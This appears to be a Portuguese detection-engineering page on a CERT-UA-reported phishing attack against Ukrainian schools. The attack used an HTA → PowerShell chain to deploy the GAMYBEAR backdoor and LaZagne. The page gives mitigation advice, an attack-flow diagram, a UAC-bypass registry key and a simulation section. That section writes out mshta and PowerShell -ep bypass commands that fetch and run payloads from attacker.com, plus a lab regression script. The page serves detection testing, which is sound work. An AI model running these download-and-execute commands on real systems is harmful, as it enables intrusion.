Ciberataque direcionado a uma escola do leste da Ucrânia usando a ferramenta GAMYBEAR (CERT-UA#18329)
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma campanha de coleta de credenciais atingiu escolas e agências públicas na região de Sumy via um e-mail de phishing contendo um anexo ZIP. A abertura do arquivo acionou um arquivo HTA através da utilidade mshta, que então puxou scripts PowerShell para implantar o backdoor GAMYBEAR e o despejador de credenciais LaZagne, estabelecer C2 baseado em HTTP e exfiltrar arquivos de diretórios alvo. utility, which then pulled down PowerShell scripts to deploy the GAMYBEAR backdoor and the LaZagne credential dumper, establish HTTP-based C2, and exfiltrate files from targeted directories.
Análise de Ataque
O CERT-UA vinculou a violação inicial a uma mensagem de phishing enviada em 26 de maio de 2025, a partir de uma conta Gmail sequestrada, fornecendo os detalhes da campanha no alerta CERT-UA#18329. A análise forense expôs uma cadeia de infecção em múltiplas etapas: ZIP → HTA → update.js → PowerShell → GAMYBEAR acompanhado pelo malware LaZagne, com persistência mantida por meio de uma entrada de registro Run e downloads recorrentes de URLs maliciosas.
Mitigação
Imponha a autenticação multifatorial para todas as contas de e-mail, bloqueie a execução de scripts HTA e PowerShell não confiáveis, bloqueie a chave de execução do registro e implemente a lista de permissões de aplicativos. Atualize continuamente as regras de detecção de endpoint para reconhecer os nomes de arquivos, hashes e indicadores de rede referenciados.
Resposta
Isole prontamente os endpoints impactados, redefina as credenciais do Gmail comprometidas, reúna todos os IOCs identificados e execute varreduras abrangentes para GAMYBEAR, LaZagne e artefatos associados. Informe o CERT-UA sobre o incidente e distribua os IOCs por meio de canais relevantes de compartilhamento de inteligência sobre ameaças.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes action_phishing[u0022u003cbu003eAçãou003c/bu003e – u003cbu003eT1566.001 Phishing: Anexo de Spearphishingu003c/bu003eu003cbr/u003eConta Gmail universitária comprometida e envio de e-mails de spearphishing com um anexo ZIP chamado “Накaз № 332”.u0022] class action_phishing action tool_mshta[u0022u003cbu003eFerramentau003c/bu003e – u003cbu003eNomeu003c/bu003e: mshta.exeu003cbr/u003eu003cbu003eTécnicau003c/bu003e: T1218.005 Execução por Proxy de Binário do Sistemau0022] class tool_mshta tool malware_hta[u0022u003cbu003eMalwareu003c/bu003e – u003cbu003eNomeu003c/bu003e: zvit.hta (Aplicação HTML)u003cbr/u003eExecutado por meio do atalho entregue no ZIP.u0022] class malware_hta malware action_powershell[u0022u003cbu003eAçãou003c/bu003e – u003cbu003eT1059.001 Interpretador de Comandos e Scripts: PowerShellu003c/bu003eu003cbr/u003eO HTA iniciou update.js, que executou updater.ps1. O PowerShell baixou binários adicionais (be53ff4f4b5daa.exe, svshosts.exe) de servidores HTTP remotos.u0022] class action_powershell action tool_ps2exe[u0022u003cbu003eFerramentau003c/bu003e – u003cbu003eNomeu003c/bu003e: PS2EXEu003cbr/u003eu003cbu003eTécnicau003c/bu003e: T1027.004 Compilar Após a Entrega (ofuscação)u0022] class tool_ps2exe tool action_uac_bypass[u0022u003cbu003eAçãou003c/bu003e – u003cbu003eT1548.002 Abusar de Mecanismo de Controle de Elevação: Ignorar UACu003c/bu003eu003cbr/u003eCriação da chave HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command com o valor DelegateExecute para contornar o Controle de Conta de Usuário.u0022] class action_uac_bypass action action_persistence[u0022u003cbu003eAçãou003c/bu003e – u003cbu003eT1547.014 Execução Automática na Inicialização ou Logon: Active Setupu003c/bu003eu003cbr/u003eAdição de entradas em HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (IEUpdater, ServiceUpdateService) para iniciar binários no logon.u0022] class action_persistence action tool_registry[u0022u003cbu003eFerramentau003c/bu003e – u003cbu003eNomeu003c/bu003e: Modificação do Registrou003cbr/u003eu003cbu003eTécnicau003c/bu003e: Persistência por meio de chaves Runu0022] class tool_registry tool action_credential_dump[u0022u003cbu003eAçãou003c/bu003e – u003cbu003eT1003 Extração de Credenciais do SOu003c/bu003eu003cbr/u003eExecução do LaZagne (be53ff4f4b5daa.exe) para extrair senhas armazenadas e outras credenciais.u0022] class action_credential_dump action tool_lazagne[u0022u003cbu003eFerramentau003c/bu003e – u003cbu003eNomeu003c/bu003e: LaZagneu003cbr/u003eu003cbu003ePropósitou003c/bu003e: Recuperar credenciais salvas de navegadores, clientes de e-mail e outros aplicativosu0022] class tool_lazagne tool action_data_encoding[u0022u003cbu003eAçãou003c/bu003e – u003cbu003eT1132 Codificação de Dadosu003c/bu003eu003cbr/u003eAs comunicações entre os componentes do backdoor GAMYBEAR (svshosts.exe, ieupdater.exe) e o C2 foram enviadas via HTTP com cargas úteis codificadas em Base64.u0022] class action_data_encoding action malware_gamybear[u0022u003cbu003eMalwareu003c/bu003e – u003cbu003eNomeu003c/bu003e: Backdoor GAMYBEARu003cbr/u003eOs componentes incluem svshosts.exe e ieupdater.exe.u0022] class malware_gamybear malware %% Connections action_phishing u002du002du003e|entrega| tool_mshta tool_mshta u002du002du003e|executa| malware_hta malware_hta u002du002du003e|executa| action_powershell action_powershell u002du002du003e|usa| tool_ps2exe action_powershell u002du002du003e|baixa| malware_gamybear action_powershell u002du002du003e|cria| action_uac_bypass action_uac_bypass u002du002du003e|modifica| tool_registry action_persistence u002du002du003e|depende de| tool_registry action_persistence u002du002du003e|inicia| malware_gamybear action_credential_dump u002du002du003e|usa| tool_lazagne tool_lazagne u002du002du003e|coleta| action_data_encoding malware_gamybear u002du002du003e|comunica-se via| action_data_encoding %% End of diagram
Fluxo de Ataque
Detecções
Detecção de Comunicação C2 GAMYBEAR [Conexão de Rede do Windows]
Ver
Detecção de Execução do Backdoor GAMYBEAR [Evento de Arquivo do Windows]
Ver
Detecção de Execução de mshta.exe e PowerShell com Bypass [Criação de Processo do Windows]
Ver
IOCs (HashSha1) para detectar: Ciberataque contra uma instituição educacional no leste da Ucrânia usando a ferramenta GAMYBEAR (CERT-UA#18329)
Ver
IOCs (DestinationIP) para detectar: Ciberataque contra uma instituição educacional no leste da Ucrânia usando a ferramenta GAMYBEAR (CERT-UA#18329)
Ver
Simulações
Execução de Simulação
Pré-requisito: O Telemetry & Baseline Pre-flight Check deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque e Comandos:
-
Etapa 1 – Implantar HTA malicioso: O atacante hospeda
evil.htaem um servidor web comprometido. -
Etapa 2 – Executar via
mshta.exe: Usando um prompt de comando do Windows, o atacante executamshta.exe http://attacker.com/evil.hta. Isso cria um evento de criação de processo commshta.exena linha de comando, satisfazendo a primeira cláusula da regra. -
Etapa 3 – Bypass do PowerShell: Para executar um payload que contorna a Política de Execução do sistema, o atacante lança PowerShell com o
-ep bypassflag:PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"Isso gera um segundo evento de criação de processo contendo a string exata
PowerShell -ep bypass, satisfazendo a segunda cláusula.
-
-
Script de Teste de Regressão: O seguinte script PowerShell reproduz as etapas acima de forma automatizada e repetível.
# ------------------------------------------------- # Teste de Regressão – Desencadear Regra Sigma para mshta & PowerShell -ep bypass # ------------------------------------------------- # Variáveis – ajuste para o seu ambiente de laboratório $htaUrl = "http://127.0.0.1/evil.hta" # Deve apontar para um arquivo HTA acessível $psUrl = "http://127.0.0.1/payload.ps1" # Payload PS simples (por exemplo, `Write-Host "pwned"`) # 1. Invocar mshta.exe Write-Host "[*] Lançando mshta.exe contra $htaUrl" Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow # Pausa curta para garantir os logs do processo Start-Sleep -Seconds 2 # 2. Invocar PowerShell com bypass de política de execução $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1" Write-Host "[*] Lançando PowerShell -ep bypass" Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow # Pausa para permitir a geração de logs Start-Sleep -Seconds 5 Write-Host "[+] Teste concluído. Verifique seu SIEM por alertas." -
Comandos de Limpeza: Remova arquivos temporários e termine quaisquer processos de teste restantes.
# Limpeza de payload temporário Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue # Opcionalmente, mate instâncias de mshta ou PowerShell criadas pelo teste Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force